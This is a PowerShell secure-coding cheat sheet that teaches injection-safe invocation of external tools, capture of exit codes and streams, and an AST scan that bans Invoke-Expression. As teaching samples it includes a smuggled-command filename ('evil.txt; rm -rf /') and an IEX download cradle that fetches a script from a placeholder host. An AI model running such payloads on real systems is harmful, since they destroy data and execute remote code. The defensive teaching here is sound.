Cheat sheet — Driving Tools & External Processes Safely¶
Companion to Module 05 — Driving Tools & External Processes Safely · CC BY 4.0 — print it, pin it, share it.
Last reviewed: 2026-07
The one rule: argument array, never a command string¶
# SAFE — each element is a discrete argv token; no shell re-parses it.
& $exe $arg1 $arg2 # native call operator, discrete args
& $exe @argArray # splat an array of args
Start-Process -FilePath $exe -ArgumentList @($arg1, $arg2) -Wait -NoNewWindow
# UNSAFE — you built a command STRING; metacharacters in data become syntax.
Invoke-Expression "$exe $arg" # command injection. BANNED in Vigil.
& "$exe $arg" # same wound: one string, re-parsed
cmd /c "$exe $arg" # hands cmd.exe your data to re-tokenize
The array passes arg1, arg2 to the process as separate, already-split strings. ; rm -rf,
$(...), backticks, spaces, quotes inside an argument are just bytes in that one argument. The string
form throws the tokenization away and lets a fresh interpreter treat your data as code.
Start-Process — the capture-everything pattern¶
$out = New-TemporaryFile; $err = New-TemporaryFile
$p = Start-Process -FilePath $exe -ArgumentList @($arg1, $arg2) `
-Wait -NoNewWindow -PassThru `
-RedirectStandardOutput $out -RedirectStandardError $err
[pscustomobject]@{
Tool = $exe
ExitCode = $p.ExitCode
Success = ($p.ExitCode -eq 0)
StdOut = Get-Content $out -Raw
StdErr = Get-Content $err -Raw
}
Remove-Item $out, $err
-PassThru returns the process so you can read .ExitCode; -Redirect* capture the streams separately.
Always check the exit code — a tool that failed and a tool that found nothing look identical if you
only read stdout.
Gotcha: on .NET,
Start-Process -ArgumentListre-joins the list into one string it then re-splits on whitespace — so an argument with a legitimate space ("my file.txt") can arrive split. Both forms keep you injection-safe (no shell is involved), but for faithful argv passing prefer the native call operator below.Vigil'sInvoke-VigilTooluses& @argsfor exactly this reason.
Native call operator + $LASTEXITCODE¶
$stdout = & $exe @argArray 2>$null # call operator captures stdout to the pipeline
$code = $LASTEXITCODE # native exit code of the LAST external call
[pscustomobject]@{ ExitCode = $code; Success = ($code -eq 0); Lines = $stdout }
Use &+$LASTEXITCODE for quick stdout capture; use Start-Process when you need stderr separated,
-Wait, a timeout, or window control.
Why Invoke-Expression is dangerous¶
# iex runs a STRING as PowerShell SOURCE in your session.
$path = 'evil.txt; rm -rf /' # attacker-controlled filename from telemetry
Invoke-Expression "scan $path" # -> runs `scan evil.txt` THEN `rm -rf /`
Start-Process scan -ArgumentList @($path) # -> scans one file literally named "evil.txt; rm -rf /"
The download cradle (ATT&CK T1059.001) is the same wound weaponized:
IEX (New-Object Net.WebClient).DownloadString('http://x/a.ps1') — a network string, executed in memory,
no file on disk. If you know the command at author-time, call it directly. If you're building it from
data, you've built an injection. Invoke-Expression is banned in Vigil — enforce it, don't remember it.
The AST scan — the review gate (not a grep)¶
using namespace System.Management.Automation.Language
function Test-VigilNoInvokeExpression {
param([string]$Path)
$banned = @('Invoke-Expression', 'iex')
$bad = foreach ($f in Get-ChildItem $Path -Recurse -Filter *.ps1) {
$ast = [Parser]::ParseFile($f.FullName, [ref]$null, [ref]$null)
$ast.FindAll({ param($n)
$n -is [CommandAst] -and
$banned -contains $n.GetCommandName()
}, $true) | ForEach-Object {
[pscustomobject]@{ File = $f.Name; Line = $_.Extent.StartLineNumber }
}
}
if ($bad) { $bad | Format-Table | Out-String | Write-Output; throw 'Invoke-Expression found.' }
}
FindAll walks the parsed syntax tree, so it matches a real Invoke-Expression command
invocation — not the word appearing in a comment or a string. GetCommandName() also catches the iex
alias. Grep can't tell code from a comment; the AST can.
Robust output parsing — text in, objects out¶
# Split a `sha256sum`-style "<hash> <file>" line into fields; don't return the blob.
$result = & $hashTool @($file)
$result | ForEach-Object {
$hash, $name = $_ -split '\s+', 2
[pscustomobject]@{ File = $name; Sha256 = $hash }
}
# native JSON tools: parse, then VALIDATE the shape before you trust it (Module 07's discipline).
$obj = & $tool @('--json', $target) | ConvertFrom-Json
Return named fields, not stdout. A wrapper that emits [pscustomobject] is one your detection logic can
reason about; one that emits a string is one the next module has to re-parse.
The gate (what make demo runs)¶
1. AST scan → Test-VigilNoInvokeExpression ./Vigil (fails on any iex/Invoke-Expression node)
2. Analyzer → Invoke-ScriptAnalyzer ./Vigil -Settings ... (PSAvoidUsingInvokeExpression especially)
3. Pester → feed a hostile arg; assert the payload did NOT execute; assert ExitCode is real
Three layers: the AST scan is the hard ban, PSScriptAnalyzer is the style/rule net, and the injection
Pester test is the proof the wrapper treats ; rm -rf as data.
Comments
Sign in with GitHub to comment. Choose the type: Feedback (errors or suggestions on this page) · Hints (help for fellow learners — no spoilers) · General (anything else).